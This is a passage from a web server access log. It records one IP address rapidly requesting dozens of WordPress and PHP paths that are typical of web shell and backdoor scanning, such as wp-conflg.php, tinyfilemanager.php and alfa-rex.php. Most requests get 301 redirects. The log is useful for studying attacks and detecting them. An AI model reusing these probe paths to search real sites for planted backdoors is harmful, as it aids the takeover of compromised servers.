795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:20 +0300] "GET /history.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:20 +0300] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:21 +0300] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:21 +0300] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:21 +0300] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:21 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /about.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:22 +0300] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:23 +0300] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:23 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:23 +0300] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:24 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:24 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:24 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:24 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:24 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:25 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:25 +0300] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:25 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:25 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:26 +0300] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:26 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:26 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:26 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:27 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:27 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:27 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:27 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:28 +0300] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:28 +0300] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:28 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:28 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:29 +0300] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:29 +0300] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:29 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:29 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:29 +0300] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:30 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:30 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:30 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:30 +0300] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:40:31 +0300] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:40:31 +0300] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:31 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:32 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:32 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:32 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:32 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:32 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:33 +0300] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:33 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:33 +0300] "GET /wp-includes/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:33 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:33 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:34 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:34 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:34 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:34 +0300] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:40:34 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:35 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:35 +0300] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:35 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:35 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:35 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:36 +0300] "GET /.well-known/accah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:36 +0300] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:36 +0300] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:36 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:37 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:37 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:37 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:37 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:37 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:38 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:38 +0300] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:38 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:38 +0300] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:38 +0300] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:39 +0300] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:39 +0300] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:39 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:39 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:40 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:40:40 +0300] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:40 +0300] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:40 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:41 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:41 +0300] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:41 +0300] "GET /wp-admin/css/colors/coffee/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:41 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:41 +0300] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:42 +0300] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:42 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:42 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:42 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:43 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:43 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:43 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:43 +0300] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:43 +0300] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:40:44 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:44 +0300] "GET /sck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:44 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:44 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:44 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:45 +0300] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:45 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:45 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:45 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:45 